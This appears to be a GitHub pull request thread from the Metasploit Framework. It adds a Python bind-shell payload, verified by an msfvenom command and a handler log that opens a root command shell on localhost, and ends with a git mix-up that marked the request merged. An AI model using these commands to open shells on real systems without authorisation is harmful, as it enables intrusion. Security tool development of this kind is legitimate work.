Added python/shell_bind_tcp for, well availability and options

[ghost]

Description

Adds a new python/shell_bind_tcp payload that is not available in the framework.

Verification

• msfvenom -p python/shell_bind_tcp RHOST=127.0.0.1 LPORT=4444 -f raw -o bind.py
• python bind.py

setup listener

msf exploit(handler) > set PAYLOAD python/shell_bind_tcp
PAYLOAD => python/shell_bind_tcp
msf exploit(handler) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > run
[*] Exploit running as background job 0.

[*] Started bind handler
msf exploit(handler) > [*] Command shell session 1 opened (127.0.0.1:43317 -> 127.0.0.1:4444) at 2017-10-17 07:56:38 -0400
sessions -i 1
[*] Starting interaction with 1...

whoami
root
^Z
Background session 1? [y/N]  y
ls
msf exploit(handler) > sessions

Active sessions
===============

  Id  Name  Type                 Information  Connection
  --  ----  ----                 -----------  ----------
  1         shell python/python               127.0.0.1:43317 -> 127.0.0.1:4444 (127.0.0.1)

msf exploit(handler) >

[h00die]

Ugh oh. I certainly don't remember merging this, or testing it at all. Not sure what happened, and not able to diagnose yet. Wondering what else was incidentally merged and how it happened

[h00die]

Maybe someone at r7 can show me the error in my ways, i'm not seeing where this was merged.

doesn't show 7098372 as being commited.
If you look on master for modules/payloads/singles/python/shell_bind_tcp, its not there either.

Looking through my command history last night, I see no mentions of #9093 ....
#9106 shows only 2 files commited (netgear):

so what the heck happened?!

[pbarry-r7]

Wow, werid... I received the email from GitHub that it was merged, but I see no evidence in the framework repo, itself, that it was (other than the PR claiming it has been merged). Even the modules/payloads/singles/python/shell_bind_tcp.rb file isn't there. How odd... 🤔

[pbarry-r7]

Looks like the 2 commits in the PR piggy-backed in on PR 9106:

And, with the same commit hash values, I'm gonna guess this tricked GH into thinking this PR had been merged.

[ghost]

Yeah, since I'm fairly new to git, I assumed if I made a new branch and commited changed for every module, as I noticed others doing, I figured that each PR would not affect the other. I discovered this was not the case, so I removed the payload, figuring it still would not affect it. :/ Sorry about that.